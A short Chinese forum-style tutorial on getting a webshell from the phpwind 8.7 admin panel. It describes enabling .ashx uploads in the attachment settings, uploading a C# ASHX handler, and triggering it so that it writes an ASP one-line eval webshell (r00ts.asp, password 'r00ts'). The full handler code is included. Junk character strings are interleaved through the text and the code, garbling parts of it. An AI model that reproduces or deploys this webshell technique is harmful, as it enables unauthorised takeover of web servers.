phpwind 8.7 后台拿shell

admin

首先点开后台地图 然后附件设置 添加一个ashx后缀 2000大小
8 D8 a+ G6 m9 Z9 X0 Q
# k) u8 l7 X9 e" r; c5 p: r群里面我以前扔的那个ashx.txt 下载回来改成fuck.ashx
, `% F' |+ y7 e6 X6 z; E
$ N) h  T: M, E0 E7 ^发表文章那边有个附件上传 把ashx扔上去 前提是iis 阿帕奇我还真不知道咋整

2 J/ P: z- v4 r' N然后再打开后台地图 附件优化 滑到下面就看到刚上传的ashx

* d) Q1 Y0 [: v; |5 @打开之后空白 会在目录底下生成r00ts.asp 密码r00ts
+ y* E8 T; d: l1 I( X% N- L
! j/ u/ S2 c, u% h6 |  Z5 Y  p下面是代码:

* S% h( U; T# z# ~: e6 i<%@ WebHandler Language="C#"Class="Handler" %>
using System;
using System.Web;
9 P. k# o1 e& M8 F, q) n+ qusing System.IO;
$ A0 q6 y. j2 i$ @public class Handler : IHttpHandler {
% [1 H/ ^9 O3 Q3 Cpublic void ProcessRequest (HttpContext context) {
; H; r0 \$ x+ vcontext.Response.ContentType = "text/plain";
StreamWriter file1= File.CreateText(context.Server.MapPath("r00ts.asp"));
# D3 U' b& ?& j) j9 P- Xfile1.Write("<%eval request(\"r00ts\")%>");
& C$ }9 l% E8 x6 y3 K$ }1 Ffile1.Flush();
file1.Close();
1 a  X8 G  Q4 u$ g4 v3 g* M5 `9 s}
public bool IsReusable {
get {
: F0 _, I$ q8 k; u* d: H3 [$ \return false;
}
5 {# z2 j) P$ W/ j$ S  p; P4 H}
" Q1 I, E3 d- W; F# M; q" V; d7 _}
1 h8 B' E. y- n  C